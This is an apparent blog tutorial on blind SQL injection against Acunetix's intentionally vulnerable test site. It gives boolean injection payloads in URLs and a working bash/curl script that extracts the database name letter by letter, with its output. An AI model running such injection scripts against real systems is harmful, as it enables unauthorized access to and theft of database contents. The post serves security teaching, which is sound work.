Wednesday, September 24, 2014

Introduction to blind SQL injection

This week I was preparing a test scenario for a security engineer position. One of the questions was related to blind SQL injection.

As described by OWASP, blind SQL injection is based on true or false answers from the application. There is a online website for Acunetix security tests testphp.vulnweb.com that we will use to replicate an environment where we will be able to guess the database name.

If you open the website http://testphp.vulnweb.com/artists.php?artist=1 you should see the artist description:

As described in the OWASP wiki, let's try to play with the parameters. We'll add a SQL condition where 1 is equal to 2 (false should be returned). http://testphp.vulnweb.com/artists.php?artist=1 and 1=2

Nothing returned, so it looks like there would be chance of SQL injection. Now we see how true and false looks like, so let's try now guess one of the database letters with the query artist=1 and database() LIKE '%a%':
It has an 'a'. Guessing the database name by hand would take us a while, so let's go to bash and write a command line that will help us to get the first letter. First, let's take a copy of the server response when SQL is true:

curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=1" >/tmp/true

We will suppose the db name has no symbols or numbers. Let's scan for the first letter using database() LIKE '$x%'

$  for x in `bash -c 'printf "%s " {a..z}'`; do curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '$x%'" > /tmp/test1/tmp; if diff /tmp/test1/tmp /tmp/true > /dev/null ; then echo "$x found"; fi;done
a found

We've got the first one. Now we can run this script to get the full name - note that this DB name will change over time if you try the same on this server:

#!/bin/bash
sqltrue=/tmp/true
sqlfalse=/tmp/false
sqltmp=/tmp/checking
function guessdb {
        for x in `bash -c 'printf "%s " {a..z}'`; do
                curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '${dbname}${x}%'" > $sqltmp
                if diff $sqltmp $sqltrue > /dev/null ;
                        then
                                echo "$x found"
                                dbname="${dbname}${x}"
                                break
                fi
        done
        }
function isthisdb {
        curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '$dbname'" > $sqltmp
        if  diff $sqltmp $sqltrue > /dev/null ;
                        then
                                echo "dbname $dbname found"
                                exit 0
                fi
}

curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=1" > $sqltrue
curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=2" > $sqlfalse
dbname="a"
while (true); do
        guessdb
        isthisdb
done
Running the script:

$ ./db.sh
c found
u found
a found
r found
t found
dbname acuart found

If the application's user has enough privileges, you could actually list server's databases, users and other operations.

Bibliography:
https://www.acunetix.com/ Thanks for having the test platform online
OWASP

No comments:

Post a Comment